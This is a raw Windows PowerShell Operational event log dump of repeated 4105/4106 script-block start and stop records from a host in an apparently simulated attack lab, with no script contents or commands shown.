Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040631
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040630
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040629
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040628
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040627
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040626
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040625
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040624
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040623
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040622
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040621
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040620
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040619
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040618
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040617
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040616
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040615
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040614
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040613
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040612
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040611
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040610
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040609
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040608
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040607
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040606
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040605
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040604
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040603
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040602
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040601
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040600
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040599
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040598
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040597
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040596
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040595
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040594
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040593
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040592
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040591
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040590
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040589
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040588
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040587
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040586
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040585
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040584
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040583
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040582
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040581
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040580
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040579
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040578
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
